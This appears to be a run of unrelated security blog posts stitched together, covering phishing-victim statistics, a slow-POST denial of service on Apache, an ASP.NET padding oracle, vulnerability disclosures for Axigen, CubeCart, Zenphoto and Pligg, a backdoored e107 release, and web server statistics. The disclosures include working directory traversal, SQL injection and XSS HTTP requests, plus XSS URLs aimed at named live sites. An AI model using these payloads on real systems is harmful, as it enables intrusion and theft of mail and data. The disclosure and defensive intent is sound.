The log file contained the following information:

• Name
• Address
• Town/City
• Phone Number
• CNP
• Credit Card Number
• Credit Card Expiry Month
• Credit Card Expiry Year
• CVV (Credit Card Code)

There is one piece of information that is more interesting than others; CNP.  In Romania every citizen has a Personal Numeric Code (Cod Numeric Personal – CNP), which is created by using the citizen’s gender and century of birth, date of birth, the country zone, followed by a serial number and a checksum.

I’ve quickly made a Python script to parse the CNP data, validate it and extract the interesting information such as gender and date of birth, to get some interesting statistics.  I’ve also computed the CNP checksum to make sure the number is valid and exclude bogus numbers.  Below is what I got:

The first statistic is Male/Female distribution

The following table shows Birth year/age distribution.

A quick glance shows that the oldest person has 52 years old and youngest one is 18 years old.

Surprising: this statistics show that the big majority of people scammed are the younger generation, between 21 and 30 years old.  This came as a surprise to me.

The last table shows distribution based on month of birth.

P.S. These statistics were constructed using data from a few hundred valid person records, and the phishing scam was targeted at Romanian people.

What’s special about this denial of service attack is that it’s very hard to fix because it relies on a generic problem in the way HTTP protocol works. Therefore, to properly fix it would mean to break the protocol, and that’s certainly not desirable. The authors are listing some possible workarounds but in my opinion none of them really fixes the problem.

The attack explained

An attacker establishes a number of connections with the web servers. Each one of these connections contains a Content-Length header with a large number (e.g. Content-Length: 10000000). Therefore, the web server will expect 10000000 bytes from each one of these connections. The trick is not to send all this data at once but to send it character by character over a long period of time (e.g. 1 character each 10-100 seconds). The web server will keep these connections open for a very long time, until it receives all the data. In this time, other clients will have a hard time connecting to the server, or even worse will not be able to connect at all because all the available connections are taken/busy.

In this blog post, I would like to expand on the effect of this denial of service attack against Apache.

First, I would like to start with one of their affirmations:

“Hence, any website which has forms, i.e.
accepts HTTP POST requests, is susceptible to
such attacks.”

At least in the case of Apache, this is not correct. It doesn’t matter if the website has forms or not.
Any Apache web server is vulnerable to this attack. The web server doesn’t decide if the resource can accept POST data before receiving the full request.

I’ve created a very simple Acunetix WVS test script to reproduce this attack and prove this point:
The script will create 256 sockets, establish a TCP connection to the web server on each socket and start sending data slowly (1 character per second).

As you can see in the code from the screen-shot, I’m making a HTTP POST request to an nonexistent file (POST /aaaaaaaaaaaa HTTP/1.1). After a few seconds, the web server becomes completely unresponsive. As soon as I stop the script, the web server starts responding again.

Therefore, any Apache web server is vulnerable to this attack.

How many connections are required until the web server stops responding?

Their paper mentions 20.000 connections as an example. They also make the following note:

Apache requires lesser number of connections
due to mandatory client or thread limit in
httpd.conf.

Interesting. How much lesser number of connections?  If we look in the Apache 1.3 documentation, we find the following information:

The MaxClients directive sets the limit on the number of simultaneous requests that can be supported; not more than this number of child server processes will be created.

Syntax: MaxClients number
Default: MaxClients 256

Therefore, by default Apache 1.3 only allows 256 connections. Therefore, an attacker only needs to steal 256 connections before the web server stops responding. It’s the same situation even with Apache 2.0.

During my tests, I noticed the following error message in the Apache error log:

$tail -f /var/log/apache2/error.log

[Mon Nov 22 15:23:17 2010] [notice] Apache/2.2.9 (Ubuntu) PHP/5.2.6-2ubuntu4.6 with Suhosin-Patch mod_ssl/2.2.9 OpenSSL/0.9.8g configured — resuming normal operations
[Mon Nov 22 15:24:46 2010] [error] server reached MaxClients setting, consider raising the MaxClients setting

In conclusion, the denial of service attack affects any Apache web server and one requires only a few hundred connections to make the server completely unresponsive. And based on my knowledge there is no proper fix for it:

Apache response was:

“What you described is a known attribute (read: flaw) of the
HTTP protocol over TCP/IP. The Apache HTTP project declines to treat this
expected use-case as a vulnerability in the software.”

And Microsoft’s response:

“While we recognize this is an issue, this issue does not meet our
bar for the release of a security update. We will continue to track this issue
and the changes I mentioned above for release in a future service pack.”

That’s pretty scary!

* The paper published by Wong Onn Chee and Tom Brennan can be found here.

Yesterday, Duncan Smart from ASP.NET forums published some very useful information that allows us to do that. An application is vulnerable to a padding oracle attack if it responds differently in the following three cases:

1. When a valid ciphertext is received (one that is properly padded and contains valid data).
2. When an invalid ciphertext is received (one that is not properly padded).
3. When a valid ciphertext is received (properly padded) but the decrypted value is not valid for the application.

If you want to know more about padding oracles, a very good resource is Automated Padding Oracle Attacks with PadBuster.

How do we apply this to ASP.NET?

The key to attacking ASP.NET is the file WebResource.axd. This file is also used in the exploit video released by Juliano Rizzo. This file can be used as a Padding Oracle because it responds differently in all three cases.

Here are the three cases.

1. valid ciphertext
Make a request like http://website.com/application/WebResource.axd?d=jzjghMVYzFihd9Uhe_arpA2
The response status is 200 OK and the response body is the content of the web resource you’ve requested (some javascript code in my case).

2. invalid ciphertext
Make a request like http://website.com/application/WebResource.axd?d=acunetix
The response status is 500 Internal Server Error and the response body is some error message.

3.valid ciphertext but invalid data
Make a request like http://website.com/application/WebResource.axd?d=
The response status is 404 Not Found and the response body is some error message.

This is the padding oracle that allows an attacker to exploit this vulnerability. If your application responds differently in all of these three cases, it’s vulnerable.

Very important: Setting CustomErrors to “On” or “RemoteOnly” (in web.config) doesn’t solve this problem because the padding oracle is still there (the error message displayed on the 500 error page is not important for this vulnerability).  Therefore, the only solution is the one presented by Scott Guthrie.  Edit web.config to use redirectMode set to ResponseRewrite and defaultRedirect to an error page defined by you.

Once this workaround is applied, the application will return the same status code and response body in all three cases. If you are using .NET Framework version 3.5 SP1 or 4.0, it’s even better.

If you are using .NET Framework version 3.5 SP1 or 4.0, the workaround provides further protection by also helping to mitigate against potential timing analysis attacks. The workaround uses the redirectMode=”ResponseRewrite” option in the customErrors feature, and introduces a random delay in the error page. These approaches work together to make it more difficult for an attacker to deduce the type of error that occurred on the server by measuring the time it took to receive the error.

Today we’ve released an update for Acunetix WVS that is automatically checks if your application is vulnerable or not to this ASP.NET vulnerability.

Axigen is an integrated email, calendaring & collaboration platform, masterfully built on our unique Linux mail server technology, for increased speed & security.

Axigen Webmail version 7.4.1 is vulnerable to a directory traversal vulnerability. Only Axigen installations running on Windows platforms are affected. By URL encoding the “\” character to %5C it’s possible to bypass the directory traversal protection available in this application. Our scanner reported the following alert:

By requesting the following URL (/..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5cwindows/win.ini) it’s possible to read the contents of file c:\windows\win.ini. Using this encoding trick it’s possible to traverse directories and see the contents of any file that is readable by the web server user.

Here is a sample HTTP request:

GET http://192.168.0.222:80/..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5cwindows/win.ini HTTP/1.1
Cookie: webmailSession=0; cookieTest=cookiesEnabled; checkOverQuota=0; passwordExpireWarning=0
Host: 192.168.0.222:80
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)

While investigating this alert, I’ve discovered that this vulnerability is more serious than I initially expected. This is a very serious vulnerability because using information from the log files it’s possible to gather enough information to read the file containing all the emails from all the domains hosted on the server.

For, example, using an HTTP request like:

GET /..%5c..%5c/log/everything.txt HTTP/1.0
Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)
Host: 192.168.0.222
Connection: Close
Pragma: no-cache

you can access the log file. From here you get determine the domain name and using this information you can read the file containing all the emails from this domain:

GET /..%5c..%5c/domains/localdomain/00.hsf HTTP/1.0
Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)
Host: 192.168.0.222
Connection: Close
Pragma: no-cache

This vulnerability was reported to the Axigen team on 22/7/2010 via the support system on their website and they were fixed in Axigen version 7.4.2. If you are using Axigen, download the latest version from their website. The changelog is available here.

CubeCart is a fully featured ecommerce shopping cart solution used by over a million store owners around the world.

The following web vulnerabilities were found in CubeCart version 4.3.3;

1. SQL injection in “/cubecart_4/index.php”, parameter “searchStr”.
2. Cross-site Scripting vulnerability in “/cubecart_4/modules/gateway/WorldPay/return.php”, parameter “amount”.
3. Cross-site Scripting vulnerability in “/cubecart_4/modules/gateway/WorldPay/return.php”, parameter “cartId”.
4. Cross-site Scripting vulnerability in “/cubecart_4/modules/gateway/WorldPay/return.php”, parameter “email”.
5. Cross-site Scripting vulnerability in “/cubecart_4/modules/gateway/WorldPay/return.php”, parameter “transId”.
6. Cross-site Scripting vulnerability in “/cubecart_4/modules/gateway/WorldPay/return.php”, parameter “transStatus”.

Technical details about each web vulnerability are below:

1. SQL injection in “/cubecart_4/index.php”, parameter “searchStr”.

Additional details:

SQL query:

Error message:
SQL:
SELECT id FROM cube_CubeCart_search WHERE searchstr='''

Sample HTTP Request:

GET /cubecart_4/index.php?_a=viewCat&searchStr='&Submit=Go HTTP/1.1
Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c
Acunetix-Aspect: enabled
Cookie: PHPSESSID=7c970bfe00c50261d25166dbab43c294; ccUser=7c970bfe00c50261d25166dbab43c294
Host: webapps7:80
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)

sql injection cubecart

2. Cross-site Scripting vulnerability in “/cubecart_4/modules/gateway/WorldPay/return.php”, parameter “amount”.

Attack details

URL encoded GET input amount was set to ” onmouseover=prompt(949088) bad=”
The input is reflected inside a tag element between double quotes.

Sample HTTP Request:

GET /cubecart_4/modules/gateway/WorldPay/return.php?amount=%22%20onmouseover%3dprompt%28949088%29%20bad%3d%22&cartId=&email=&transId=&transStatus= HTTP/1.1
Cookie: PHPSESSID=7c970bfe00c50261d25166dbab43c294; ccUser=7c970bfe00c50261d25166dbab43c294
Host: webapps7:80
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)

3. Cross-site Scripting vulnerability in “/cubecart_4/modules/gateway/WorldPay/return.php”, parameter “cartId”.

Attack details

URL encoded GET input cartId was set to ” onmouseover=prompt(932890) bad=”
The input is reflected inside a tag element between double quotes.

Sample HTTP Request:

GET /cubecart_4/modules/gateway/WorldPay/return.php?amount=&cartId=%22%20onmouseover%3dprompt%28934178%29%20bad%3d%22&email=&transId=&transStatus= HTTP/1.1
Cookie: PHPSESSID=7c970bfe00c50261d25166dbab43c294; ccUser=7c970bfe00c50261d25166dbab43c294
Host: webapps7:80
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)

4. Cross-site Scripting vulnerability in “/cubecart_4/modules/gateway/WorldPay/return.php”, parameter “email”.

Attack details

URL encoded GET input email was set to ” onmouseover=prompt(908306) bad=”
The input is reflected inside a tag element between double quotes.

Sample HTTP Request:

GET /cubecart_4/modules/gateway/WorldPay/return.php?amount=&cartId=&email=%22%20onmouseover%3dprompt%28908306%29%20bad%3d%22&transId=&transStatus= HTTP/1.1
Cookie: PHPSESSID=7c970bfe00c50261d25166dbab43c294; ccUser=7c970bfe00c50261d25166dbab43c294
Host: webapps7:80
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)

5. Cross-site Scripting vulnerability in “/cubecart_4/modules/gateway/WorldPay/return.php”, parameter “transId”.

Attack details

URL encoded GET input transId was set to ” onmouseover=prompt(998313) bad=”
The input is reflected inside a tag element between double quotes.

Sample HTTP Request:

GET /cubecart_4/modules/gateway/WorldPay/return.php?amount=&cartId=&email=&transId=%22%20onmouseover%3dprompt%28998313%29%20bad%3d%22&transStatus= HTTP/1.1
Cookie: PHPSESSID=7c970bfe00c50261d25166dbab43c294; ccUser=7c970bfe00c50261d25166dbab43c294
Host: webapps7:80
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)

6. Cross-site Scripting vulnerability in “/cubecart_4/modules/gateway/WorldPay/return.php”, parameter “transStatus”.

Attack details

URL encoded GET input transStatus was set to ” onmouseover=prompt(923101) bad=”
The input is reflected inside a tag element between double quotes.

Sample HTTP Request:

GET /cubecart_4/modules/gateway/WorldPay/return.php?amount=&cartId=&email=&transId=&transStatus=%22%20onmouseover%3dprompt%28923101%29%20bad%3d%22 HTTP/1.1
Cookie: PHPSESSID=7c970bfe00c50261d25166dbab43c294; ccUser=7c970bfe00c50261d25166dbab43c294
Host: webapps7:80
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)

These vulnerabilities were reported to the CubeCart team on 22/7/2010 via the support system on their website and they were fixed in latest version of CubeCart . If you are using CubeCart, download the latest version from their website.

Zenphoto is a standalone gallery CMS that just makes sense and doesn’t try to do everything and your dishes. We hope you agree with our philosophy: simpler is better. Don’t get us wrong though – Zenphoto really does have everything you need for web media gallery management.

The following web vulnerabilities were found in Zenphoto Version 1.3;

1. SQL injection in “/zenphoto_1_3/zp-core/full-image.php”, parameter “a”.
2. Cross-site Scripting vulnerability in “/zenphoto_1_3/zp-core/admin.php”, parameter “from”.
3. Cross-site Scripting vulnerability in “/zenphoto_1_3/zp-core/admin.php”, parameter “user”.

Technical details about each web vulnerability are below:

1. SQL injection in “/zenphoto_1_3/zp-core/full-image.php”, parameter “a”.

Source file: /var/www/zenphoto_1_3/zp-core/functions-db.php line: 65

Additional details:

SQL query:

SELECT `id`, `album_theme` FROM `zp_albums` WHERE `folder` LIKE "1ACUSTART'"*" OR `folder` LIKE "1ACUSTART'"*/
 	ACUEND"

“mysql_query” was called.

Stack trace:

1. query([string] "SELECT `id`, `album_theme` FROM `zp_albums` WHERE `folder` LIKE "1ACUSTART'"*" OR `folder` LIKE "1ACUSTART'"*/\n 	ACUEND"", [boolean] false)
  2. query_full_array([string] "SELECT `id`, `album_theme` FROM `zp_albums` WHERE `folder` LIKE "1ACUSTART'"*" OR `folder` LIKE "1ACUSTART'"*/\n 	ACUEND"")
  3. getAlbumInherited([string] "1ACUSTART'"*/\n 	ACUEND", [string] "album_theme", [NULL] )
  4. themeSetup([string] "1ACUSTART'"*/\n 	ACUEND")

As you can see in the SQL query (or the stack trace), in order to alter the SQL statement sent to the database you need to use a double qoute (not a single one, as in most SQL injections).

Sample HTTP Request:

GET /zenphoto_1_3/zp-core/full-image.php?a=%24%7binjecthere%7d&i=system-bug.jpg&q=75 HTTP/1.1
Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c
Acunetix-Aspect: enabled
Cookie: PHPSESSID=fb161d1fe8597f17394ce4e39759840e; setup_test_cookie=5479
Host: webapps7:80
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)

2. Cross-site Scripting vulnerability in “/zenphoto_1_3/zp-core/admin.php”, parameter “from”.

Attack details

URL encoded GET input from was set to ” onmouseover=prompt(934419) bad=”.
The input is reflected inside a tag element between double quotes.

Sample HTTP Request:

GET /zenphoto_1_3/zp-core/admin.php?from=%22%20onmouseover%3dprompt%28934419%29%20bad%3d%22 HTTP/1.1
Cookie: PHPSESSID=fb161d1fe8597f17394ce4e39759840e; setup_test_cookie=5479
Host: webapps7:80
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)

3. Cross-site Scripting vulnerability in “/zenphoto_1_3/zp-core/admin.php”, parameter “user”.

Attack details

URL encoded POST input user was set to ” onmouseover=prompt(932890) bad=”.
The input is reflected inside a tag element between double quotes.

Sample HTTP Request:

POST /zenphoto_1_3/zp-core/admin.php HTTP/1.1
Content-Length: 149
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=fb161d1fe8597f17394ce4e39759840e; setup_test_cookie=5479
Host: webapps7:80
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)

code_h=1644ca84b35bf7663c5e828744339de8&login=1&pass=acUn3t1x&redirect=%2fzp-core%2fadmin.php&user=%22%20onmouseover%3dprompt%28932890%29%20bad%3d%22

These vulnerabilities were reported to the Zenphoto team on 22/7/2010 via the trac system on their website and they were fixed in latest version of Zenphoto. If you are using Zenphoto, download the latest version from their website.

One of the tested web applications is Pligg;

Pligg is an open source CMS (Content Management System) that you can download and use for free. Pligg CMS provides social publishing software that encourages visitors to register on your website so that they can submit content and connect with other users.

The following web vulnerabilities were found in Pligg CMS Version 1.0.4;

1. SQL injection in “/pliggcms_1_0_4/login.php“, parameter “email“.
2. Cross-site Scripting vulnerability in “/pliggcms_1_0_4/user.php“, parameter “category“.

Technical details about each web vulnerability are below;

1. SQL injection in “/pliggcms_1_0_4/login.php“, parameter “email“.

Source file: /var/www/pliggcms_1_0_4/libs/db.php line: 222

Additional details:

SQL query:

SELECT * FROM `pligg_users` where `user_email` = '1ACUSTART'"*/rn     ACUEND' AND user_level!='Spammer'

“mysql_query” was called.

Stack trace:

1. ezSQL_mysql::query([string] "SELECT * FROM `pligg_users` where `user_email` = '1ACUSTART'"*/rn     ACUEND' AND user_level!='Spammer'")
2. ezSQLcore::get_row([string] "SELECT * FROM `pligg_users` where `user_email` = '1ACUSTART'"*/rn     ACUEND' AND user_level!='Spammer'")

Sample HTTP Request:

POST /pliggcms_1_0_4/login.php HTTP/1.1
Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c
Acunetix-Aspect: enabled
Content-Length: 68
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=4c7d8e111f3ec5e90e664e26f365cc04; mnm_user=tmp; mnm_key=dG1wOjIyZkpqa1BveUhCVFE6NWY1YTg5NTJkYzUzODI4NGYwOTA0Y2Q0NTUzNzk5NDE%3D; template=wistie
Host: webapps7:80
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)

email=sql'injection&processlogin=3&return=%2fpliggcms_1_0_4%2f

2. Cross-site Scripting vulnerability in “/pliggcms_1_0_4/user.php”, parameter “category”.

Attack details

URL encoded GET input categorywas set to ” onmouseover=prompt(938687) bad=”
The input is reflected inside a tag element between double quotes.
The input is reflected inside a tag element between single quotes.

Sample HTTP Request:

POST /pliggcms_1_0_4/user.php?category=%22%20onmouseover%3dprompt%28938687%29%20bad%3d%22&id=&keyword=Search..&login=&module=&page=&search=&view=search HTTP/1.1
Content-Length: 9
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=4c7d8e111f3ec5e90e664e26f365cc04; mnm_user=tmp; mnm_key=dG1wOjIyZkpqa1BveUhCVFE6NWY1YTg5NTJkYzUzODI4NGYwOTA0Y2Q0NTUzNzk5NDE%3D; template=wistie
Host: webapps7:80
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)

username=

These vulnerabilities were reported to the Pligg team on 22/7/2010 via the contact form from their website and they were fixed in latest version of Pligg.  If you are using Pligg, download the latest version from their website.

I was really surprised to see that 4 out of 10 results from Google’s first page were links to malware.

If you click on any of those links, here is what you get:

And then you receive the classic ‘Your computer is infected‘ window that proved to be so lucrative for malware writers. The window looks like a real Windows application and many people get confused and run the malware.

I’ve downloaded and scanned the malware on virustotal.com. Here is the report. Basically, only 10 from all 41 antiviruses from VirusTotal detected the malware. That’s only 24.4%, a pretty low detection rate for a malware that appears on the first page of Google results for a hot topic. I think many people already got infected by this.

The malware writers are pretty inventive, I think they’ve made an automated tool that automatically reads Google’s Hot Trends page or Twitter’s trending topics and generate pages containing malware with those terms/searches in the title and some description around it. Gray Powell is #13 on Google’s Hot Trends page right now.

It’s a very dangerous technique and I think Google should do something about it, otherwise a lot of people will get infected.  Lately, Search Engine Optimization is being widely used for distributing malware.  So pay attention before you click any of Google’s results.  Don’t just read the page title and description, but also check the URL!

This vulnerability is affecting a POST parameter in the Mambo CMS administration interface.  The attacker prepares a custom web page, which when the victim visits it, a form will be automatically submitted in the background, thus exploiting the vulnerability.  The form is hidden from the user in an iframe tag.

Once the victim, in this case a Mambo administrator visits this page, his cookie details are logged into a file, which the attacker can use to gain access to the Mambo CMS administration interface. Watch the full video for more in-depth details.

Click here for high resolution version.

Subscribe to the Acunetix YouTube channel to be automatically notified when new web security and Acunetix WVS videos are uploaded.

Top MX Servers

To start off with, I wanted to see where people are receiving their mail. Therefore, for each domain we queried the MX servers and calculated which servers are the most popular. The results are shown bellow:

As you can see from the table above, most of the people are entrusting their mails to Google. Gmail for your domain (Google Apps for your domain) is very popular because it works well and it’s free for small companies. On the second place is *.secureserver.net. These are the MX servers from Go Daddy. On the third place is DreamHost.

Top DNS Servers

Next, we’ve calculated the NS (name server) distribution. Same procedure, for each domain we’ve queried the NS servers and calculated which servers are the most popular.

domaincontrol.com is the NS server for Go Daddy. On the second place are the Google name servers. These are the Blogspot blogs (there are a lot of them). Third and forth place belongs to xinnetdns: some popular Chinese web hosting provider.

Top AS Names

An autonomous system (AS) is a collection of connected Internet Protocol (IP) routing prefixes under the control of one or more network operators. Next table will display the top AS Names (based on their AS numbers).

The table from above lists the top IP providers from our top 1,000,000 websites as listed by Alexa. THEPLANET leads the way, followed by Google and a Chinese provider.

Registrars distribution

The next table is about IP registrars. There are 5 registrars on the internet:

• arin – American Registry for Internet Numbers
• ripencc – Réseaux IP Européens Network Coordination Centre
• apnic – Asia-Pacific Network Information Centre
• lacnic – Latin American and Caribbean Internet Addresses Registry
• afrinic – The Registry of Internet Number Resources for Africa

Country distribution

We’ve also calculated the country distribution. We’ve resolved each domain to its corresponding IP address and then determined the country for that ip address. Finally, we’ve counted the most popular countries.

No surprises here: United States, Germany and China are taking the top spots.

While navigating all those websites we’ve received some funny responses from web servers. I’ve listed some of them below.

Weird headers

These are various headers that contain invalid characters. Most of them are error messages (usually PHP and MySQL errors). Some of them include some kind of information disclosure (even source code disclosure in one case).

Funny Server headers

And finally, some administrators are using various humorous values for the Server header. I’ve listed some of them below:

Methodology

In order to cover as many bases as possible it was decided to run each scanner in two ways:

1. Point and Shoot (PaS): This includes nothing more than run default scanning options and provide credentials if the scanner supported it and the site used any.

2. Trained: This includes any configurations, macros, scripts or other training determined to be required to get the best possible results. As needed help was requested from the vendors or from acquaintances with expertise in each scanner to make sure that each was given all possible opportunity to get its best possible results.

Therefore he’s defining two modes; Point and Shoot and Trained. In the Point and Shoot mode he’s supposed to use the default scanning options AND provide credentials if the scanner supported it.

Except that for our scanner, he’s not doing this. Let’s take our test PHP website testphp.acunetix.com.

Here is a quick excerpt from his results:

Acunetix is listed as not finding any of the 4 XSS vulnerabilities from userinfo.php (trained or untrained).
That came as a big surprise to me. I’ve quickly made a test and surely, the vulnerabilities were found by Acunetix WVS.

This file “userinfo.php” is only available after you provide valid credentials, it’s not possible to access this file unauthenticated.

They were not found because Larry didn’t authenticated our scanner (didn’t provided any credentials). No wonder that Acunetix didn’t found the vulnerabilities. The same situation with the SQL vulnerability from cart.php (the shopping cart is only available when you are authenticated). He didn’t authenticated our scanner neither in the Point and Shoot mode or in the Trained mode. That’s not fair for us.

I then moved to the Cenzic test website (http://crackme.cenzic.com). Here Acunetix is listed as not finding a number of XSS vulnerabilities in various files such as /Kelev/php/transfer.php (parameters Amount, ToAccountNo), file /kelev/php/accttransaction.php (parameters FromDate, ToDate) and so on.

I’ve started a scan for crackme.cenzic.com and guess what?  All those vulnerabilities were found by Acunetix WVS. I think it’s the same situation as before: the scanner was not authenticated and therefore, it couldn’t access those pages.

Below, I’ve attached a screen shot with those vulnerabilities found by Acunetix WVS:

Therefore, Acunetix WVS was clearly disadvantaged in this comparison report.  It’s not possible to find vulnerabilities in authenticated pages without providing the right credentials.

In the end, I would like to point out a very suspicious log event from our test website. While analyzing the logs from testphp.acunetix.com I’ve found the following entry:

72.25.78.35 – - [20/Jan/2010:08:44:58 +0100] “GET /Flash/add.swf HTTP/1.1″ 200 17418 “file:///C:/NTOBJECTIVES/SOURCE/ntospider_5_0/ntospider/NTOGUI/NtoGui/Debug/Reports/acunetix/
2010_01_19_23_43/DF4D21797A665BCA9B48B5B5F5C37C2″ “Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30618)”

This log entry was generated by NTOSpider while scanning our test website. What’s suspicious about this log entry is the Referer field:

file:///C:/NTOBJECTIVES/SOURCE/ntospider_5_0/ntospider/NTOGUI/NtoGui/Debug/Reports/acunetix/
2010_01_19_23_43/DF4D21797A665BCA9B48B5B5F5C37C2

Notice the directory: C:/NTOBJECTIVES/SOURCE/ntospider_5_0/? SOURCE? Debug?

Only NTObjectives employees should have access to the NTOSpider source code. I don’t have enough evidence to directly accuse NTObjectives, however, that log entry looks suspicious to me.

Monday, I downloaded e107 from e107.org and started analyzing the code. e107 is a popular content management system written in PHP.

Looking through the code, the following lines drawn my attention:

The first line

if(md5($_COOKIE['access-admin']) == “cf1afec15669cb96f09befb7d70f8bcb“) {

is used for authentication. If you modify your browser cookies and set a cookie named access-admin with a value like md5(value) = ‘cf1afec15669cb96f09befb7d70f8bcb‘ you will get access to a PHP shell.

As I didn’t knew the exact value to use,  I commented out this line to see how to PHP shell looks like and what can be done with it.

It’s a known PHP shell, I’ve seen it before a few times. It’s pretty powerful, you can execute system commands, execute PHP code, edit&rename files, create files and/or directories. You can also upload new files and browse the file system using the current web server privileges.

BTW, if you search on Google using a few words from this shell (like ~:(expl0rer):~) you will find a bunch of live shells indexed by Google. Most of these sites seem to be running RSGallery (a Joomla! component). I will try to contact these people about their websites being hacked.

Back to e107: I’ve informed the guys from e107.org and a few hours later the problem was fixed.

Here is what happened:

So, if you’ve downloaded e107 in this weekend you have a backdored binary and you should remove it from your website and download a new copy.

Spear phishing is very hard to protect against, each company is more or less vulnerable to this threat because it targets the human factor. However, what I don’t understand is why Google’s employees are using Internet Explorer 6 as their primary browser. Not why they are using Internet Explorer. Why they are using Internet Explorer 6?

Internet Explorer was released in 2001 and Secunia lists 184 known Vulnerabilities for this product. If Microsoft with its Security Development Lifecycle (SDL) and billions of dollars in bank cannot secure ONE single piece of code 9 years later, then something is wrong. What can you expect from other companies?

A few days ago, Network Solutions announced that several hundred websites hosted on its infrastructure were hacked/defaced because hackers had broken into its servers by exploiting a file inclusion vulnerability.  Network Solutions is one of the top five Internet domain name registrars.

Yesterday, I’ve read about Tor’s servers being breached. It seems that two of the seven Tor directory authorities were compromised, along with metrics.torproject.org. Roger Dingledine wrote:

It appears the attackers didn’t realize what they broke into — just that they had found some servers with lots of bandwidth.

So, the attackers didn’t even target Tor, they just happened to hack two of their servers, probably using some automated tool. This makes me think that Tor had some serious vulnerabilities.

Yesterday, I was also browsing some random website and I’ve reached its 404 (page not found) page by mistake. This particular page was a custom 404, displaying a bunch of Google ads.

This page looked familiar to me and I remembered that I’ve read about it in a blog post from RSnake. The blog post was entitled 1&1 Internet Customers Vulnerable to XSS. So, if your website was hosted by 1&1 (another one of top five Internet domain name registrars) and you didn’t manually set your own custom 404 page, 1&1 will gladly prepare one for you. The only problem is that this custom 404 page was/is vulnerable to XSS. This means that all the sites that have this custom 404 page are vulnerable to XSS.

Here are two random sites hosted on 1&1 that are affected by this vulnerability:

http://sammur.com/test.php%22onload=%22alert%281%29

http://googleceltic.com/test.php%22onload=%22alert%281%29

This vulnerability was reported on December 30th, 2007 and 1&1 knew about it (see the comments from RSnake’s page). And still, 2+ years later, its customers are still vulnerable to XSS. Not because their own sites are vulnerable but because 1&1 wants to make some easy money with Google ads and cannot even fix a simple XSS vulnerability.

If Google, Microsoft, Network Solutions, Tor, 1&1 cannot implement proper security measures, then something is wrong.

Security is hard, too hard in my opinion.

Alexa, a web information company, maintains a CSV file containing the top 1,000,000 sites on the internet.  We used this database to test the new HTTP Stack.  While testing, we also thought that it might be useful to gather all the information and come up with some statistics. After all, who does not like statistics and graphs?

From this list, 951990 records were valid and we got a response. The other records were removed either because they were invalid (some entries from the Alexa list might be invalid), or because the hostname could not be resolved, or they were unresponsive during the testing phase. Also, some other entries were removed because there were multiple domains redirecting to the same domain that was already in the database.  These results were stored in a Microsoft SQL Server 2008 database. In the database, we stored the complete HTTP headers and the body.  The information was split in several tables like headers, links, metas and responses, so to be queried more easily. We’ve also enabled Full-Text Search on the database. In the end, the database size was around 50Gb.

Top Web Servers

To start off with, I wanted to see which are the most popular web servers running the top 1m sites on the internet.  I’ve used the information returned in the ‘Server’ header to compute this information.  Not all sites do return a Server header, and as a matter of a fact, 11,100 (1.16 %) sites didn’t return a Server header.  This was quite surprising, as I was expecting a much higher percentage of websites which do not report the running web server version and make.

As you can see from the table above, 88.5 % of all web servers are Apache (first place) and IIS  (second place) combined together.

nginx web server is a distant third, with only 4.63%. This server is quickly gaining popularity.  I’ve seen it used a lot on high-traffic websites nowadays (typically used as a reverse proxy server).

Google Web Server placed fourth, with 2.79%.  I’ve combined GFE and GWS Server strings. Sites/blogs hosted on blogspot, are returning the GFE Server string while the Google sites are returning GWS.

Fifth place was LiteSpeed web server.

I’ve also created a Wordle image to better represent the information. The image is not 100% accurate, since I had to lower the numbers for Apache & IIS.  Otherwise the image would only contain those two web servers and the other names would be unreadable.

Apache version distribution

Next, I wanted to see how many sites are still using the old Apache version1.   Although there are still some websites running on Apache Version 1, most of them already switched to v2.  From Apache’s website it seems that Apache Version 1 was last updated on 2008-01-19. Same situation for Apache 2.0.x

Microsoft IIS version distribution

